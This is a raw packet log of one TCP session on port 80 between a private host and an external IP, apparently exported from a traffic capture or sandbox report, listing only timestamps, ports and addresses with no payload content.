Oct 28, 2024 20:50:24.935895920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935930014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935964108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936013937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936037064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936037064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936064005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936096907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936144114 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936146975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936181068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936203957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936230898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936259031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936291933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936326027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936338902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936338902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936359882 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936392069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936434031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936467886 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936469078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936505079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936512947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936554909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936588049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936598063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936620951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936655045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936655045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936688900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936717987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936774969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936775923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936775923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936842918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936872005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936896086 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.936912060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936961889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.936995029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937005043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937028885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937047958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937062025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937115908 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937143087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937150955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937186003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937212944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937217951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937252045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937284946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937288046 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937319040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937336922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937350988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937385082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937417030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937450886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937484980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937519073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.937546968 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.937546968 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.986490011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.015130997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.015191078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.015276909 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.017046928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.017097950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.017160892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.017174959 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.051803112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.051865101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.051892996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052234888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052366972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052397013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052422047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052458048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052474976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052491903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052526951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052562952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052583933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052598000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052649975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052664995 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052685022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052761078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052773952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052809954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052850008 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052860975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052912951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052947044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.052953005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.052999020 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053008080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.053031921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053069115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053101063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053103924 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.053153038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053185940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053216934 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.053244114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053337097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.053556919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053616047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.053886890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053936005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053971052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.053985119 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.054003954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054038048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054070950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054078102 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.054119110 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.054687023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054802895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054847002 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.054860115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054893017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054928064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.054996967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.095875025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169183016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169239998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169292927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169328928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169363022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169394970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169445038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169451952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169451952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169451952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169498920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169548988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169584990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169617891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169630051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169630051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169667959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169699907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169734955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169749975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169776917 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169784069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169817924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169852018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169889927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169912100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.169922113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169955969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.169987917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170021057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170048952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170059919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170059919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170059919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170080900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170129061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170177937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170196056 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170217991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170238018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170267105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170300961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170336008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170366049 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170367956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170398951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170427084 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170447111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170504093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170531034 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170552969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170588017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170636892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170670033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170701027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170701981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170701981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170736074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170768023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170802116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170833111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170838118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170838118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170855999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170869112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170902014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170950890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.170994043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.170994043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171000957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171051979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171083927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171116114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171144009 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171150923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171185017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171205997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171219110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171252012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171273947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171283960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171335936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171338081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171369076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171403885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171436071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171447992 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171447992 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171469927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171504021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171539068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171571970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171606064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171637058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171672106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.171679020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171679020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.171679020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.172024012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286098003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286206007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286221981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286246061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286261082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286277056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286289930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286303043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286320925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286330938 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286335945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286353111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286447048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286447048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286447048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286633968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286732912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286746979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286775112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286787033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286791086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286808968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286825895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286863089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286864996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286864996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286864996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.286936045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286950111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286967039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.286976099 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287053108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287067890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287082911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287137032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287137032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287174940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287249088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287261009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287275076 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287343979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287358999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287375927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287420988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287444115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287457943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287480116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287480116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287480116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287535906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287570953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287585974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287600994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287616968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287658930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287688971 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287688971 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287749052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287789106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287801981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287818909 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287887096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287899971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287915945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287930012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.287950993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287950993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.287974119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288017035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288037062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288053036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288162947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288187027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288206100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288206100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288254976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288268089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288284063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288299084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288314104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288330078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288342953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288348913 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288348913 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288348913 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288444042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288459063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288475037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288561106 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288561106 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288605928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288628101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288645029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288657904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288772106 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288772106 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288813114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288876057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288892031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288923979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288938046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288953066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.288980007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288980007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.288980007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.289057016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289072037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289132118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289148092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289163113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289177895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.289206028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.289206028 CET	52257	80	192.168.2.5	185.215.113.16
